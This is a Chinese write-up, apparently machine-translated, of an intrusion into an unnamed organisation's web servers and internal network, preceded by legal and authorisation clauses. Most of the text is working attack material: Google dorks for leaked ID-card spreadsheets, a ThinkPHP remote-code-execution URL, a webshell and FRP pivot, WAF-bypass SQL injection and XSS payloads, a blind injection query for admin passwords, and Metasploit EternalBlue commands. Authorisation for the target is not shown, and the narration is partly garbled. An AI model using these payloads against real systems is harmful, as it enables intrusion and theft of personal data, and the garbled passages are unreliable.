第一条：法律依据

1. 网络安全测试活动必须严格遵守以下法律法规：

• 《中华人民共和国网络安全法》

• 《中华人民共和国数据安全法》

• 《中华人民共和国个人信息保护法》

• 《计算机信息系统安全保护条例》

• 《中华人民共和国刑法》相关条款（尤其是第285-287条）

第二条：测试授权

1. 所有网络安全测试必须事先获得授权。
   2.1 对组织内部系统进行测试，应由公司法人授权并备案；
   2.2 对第三方系统进行测试，必须出具由目标系统所有者签署的书面授权书；
   2.3 禁止对未授权的公网目标进行探测、扫描、入侵或攻击行为。

这篇很久以前的报道，现在匿名发表，是一篇水文章。利用钟馗之眼和Fofa搜索资产，结合谷歌黑客技术，对该单位进行资产调查。

钟馗之眼语法

指纹搜索：例如：php app:dedecms var:5.7app:组件名称，例如：app:apachever:组件版本，例如：ver:2.0OS:操作系统，例如：os:windowService:服务名称，例如：service:vpnCidr:网段，例如：cidr:0.0.0.1/24Devic:设备名，例如：devic:routerkeyword:关键字查询，例如：keyword:technology尝试弱口令：例如：php app：phpmyadmin...

谷歌黑客技术语法

inurl:example.com intitle:"index of"inurl:example.com intitle:"index of /" "*key.pem"intext:身份证 学院 -site:xxx.edu.cn -site:gov.cn filetype:xls 开放大学

经过一番搜索，整理出的网络安全资产如下

http://xx.xx.xx.xx:9003http://xx.xx.xx.xx:8060http://xx.xx.xx.xx:6580

我发现了一个存在漏洞的网站，而且这个网站有好几个端口，我访问每一个访问，发现9003端口有个ThinkPHP服务，接着我尝试对其进行漏洞攻击，尝试在网站上使用HTTP请求写入phpinfo()文件信息

http://xx.xx.xx.xx:9003//?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=phpinfo&vars[1][1]=0

然后尝试进行网站木马写入

他成功了，并能够在网站上执行该攻击。他为此获取了多个敏感文件+数据库文件。我在这里加了几千点积分。经过搜索，我用蚁剑发现向日葵显示最后一次连接是在28号。

该服务器有多个子网站，我上传了FRP反弹服务器端口工具，配置了Socket5协议，成功连接到服务器内网的网站。访问第一个网站，存在SQL注入，但网站是ASP类型

http://www.xxx.com/XXX_Class.asp?classid=2

测试注入被内置waf拦截

XXX_Class.asp?classid=2'XXX_Class.asp?classid=2'select+union+1,2,3,4/**/--+

此外，这个waf还存在反射型xss

XXX_Class.asp?classid=2'+select+union+1,2,3,4+and(<img/src=""+onerrror=alert(1)>)--+

在Cookie中进行了注入，并通过手动SQL注入注入了几个用户表。为此，我通过解密MD5获取了网站管理员的账户密码

and (select top 1 abs(asc(mid(cstr(password),3,1))) from (select top 1 * from (select top 2 * from admin where 1=1 order by 1) t order by 1 desc)t where 1=1)>48 and 1<2

然后使用网站目录扫描器对这个网站进行目录扫描

成功扫描到网站后台管理地址，然后尝试使用解密后的MD5管理员和账号密码登录

嘭！登录成功，我成功连接到网站管理员

在网站管理栏里可以关闭标签，又一个xss

另外，我使用内网工具扫描了服务器，发现了一些未授权访问漏洞。

然后我们使用Goby漏洞扫描工具扫描整理了几个资产

这些网站中有几个存在 MS17-010 漏洞

这个漏洞利用的方法如下

msf6 > search ms17-010# 使用exploit/windows/smb/ms17_010_eternalblue找到相关模块，索引号为0匹配模块================# 名称 披露日期 等级 检查 描述- ---- --------------- ---- ----- -----------0exploit/windows/smb/ms17_010_eternalblue 2017-03-14 平均 是 MS17-010 EternalBlue SMB 远程 Windows 内核池损坏1exploit/windows/smb/ms17_010_psexec 2017-03-14 正常 是 MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB 远程 Windows 代码执行2辅助/admin/smb/ms17_010_command 2017-03-14 正常 否 MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB 远程 Windows 命令执行3 辅助/scanner/smb/smb_ms17_010 正常 否 MS17-010 SMB RCE 检测4 漏洞利用/windows/smb/smb_doublepulsar_rce 2017-04-14 很好 是 SMB DOUBLEPULSAR 远程代码执行# 使用模块 0msf6 > 使用 0# 您可以使用 show options 查看参数和有效载荷。您会发现，只需为参数设置一个 RHOSTS 目标主机 IP 地址即可。 Payload 有默认值，无需设置。msf6exploit(windows/smb/ms17_010_eternalblue) > show options# 设置 RHOSTS 目标主机 IPmsf6exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.242.6# 开始攻击run

然后我拿到了几个主机的权限，就结束了。我写了报告，提交给了总部。